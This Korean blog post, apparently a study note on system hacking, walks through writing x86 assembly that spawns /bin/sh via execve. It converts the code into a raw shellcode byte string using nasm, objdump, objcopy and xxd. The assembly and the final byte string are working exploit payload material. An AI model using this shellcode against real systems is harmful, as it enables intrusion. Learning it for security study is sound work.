시작하기 앞서, 용어 정리를 하고 가자.
바이너리 코드 (Binary code) | 0과 1로 표현된 모든 데이터의 기본 형태 |
기계어 (Machine language) | CPU가 직접 실행하는 바이너리 명령어 |
바이트 코드 (Byte code) | 가상 머신에서 실행하기 위해 중간 코드로 변환된 코드 |
어셈블리어 (Assembly Language) | 사람이 이해할 수 있는 기계어의 문자화된 표현 |
다음은 execve 시스템 호출을 통해 /bin/sh 쉘을 실행하는 어셈블리 코드다.
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
shellcode.asm
nasm은 어셈블리어 코드를 작성하고 컴파일하는 어셈블러다.
nasm 어셈블러를 사용하여 shellcode.asm 파일을 컴파일하고, ELF 형식의 목적 파일(shellcode.o)을 생성한다.
objdump로 shellcode.o 목적 파일의 내용을 디스어셈블리하여 어셈블리어 코드로 출력한다.
바이너리 코드로 되어 있는 목적 파일을 사람이 읽을 수 있는 어셈블리어로 변환하여 보여준다.
objcopy를 사용해서 바이너리 파일(shellcode.bin)을 만들고, 그 파일을 16진수로 확인한다.
위 xxd 출력 결과(16진수)에서 바이트 값들을 추출해서 다음과 같이 바이트 코드 형태의 쉘 코드를 만든다.
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
참고 - 드림핵( System Hacking )
'시스템 해킹 > 학습' 카테고리의 다른 글
[시스템] (스택) 버퍼 오버플로우 (0) | 2024.08.26 |
---|---|
[시스템] 함수 호출 규약 (SYSV) (0) | 2024.08.22 |
[시스템] execve 셸코드 (Shellcode) (0) | 2024.08.20 |
[시스템] orw 셸코드 (Shellcode) (0) | 2024.08.20 |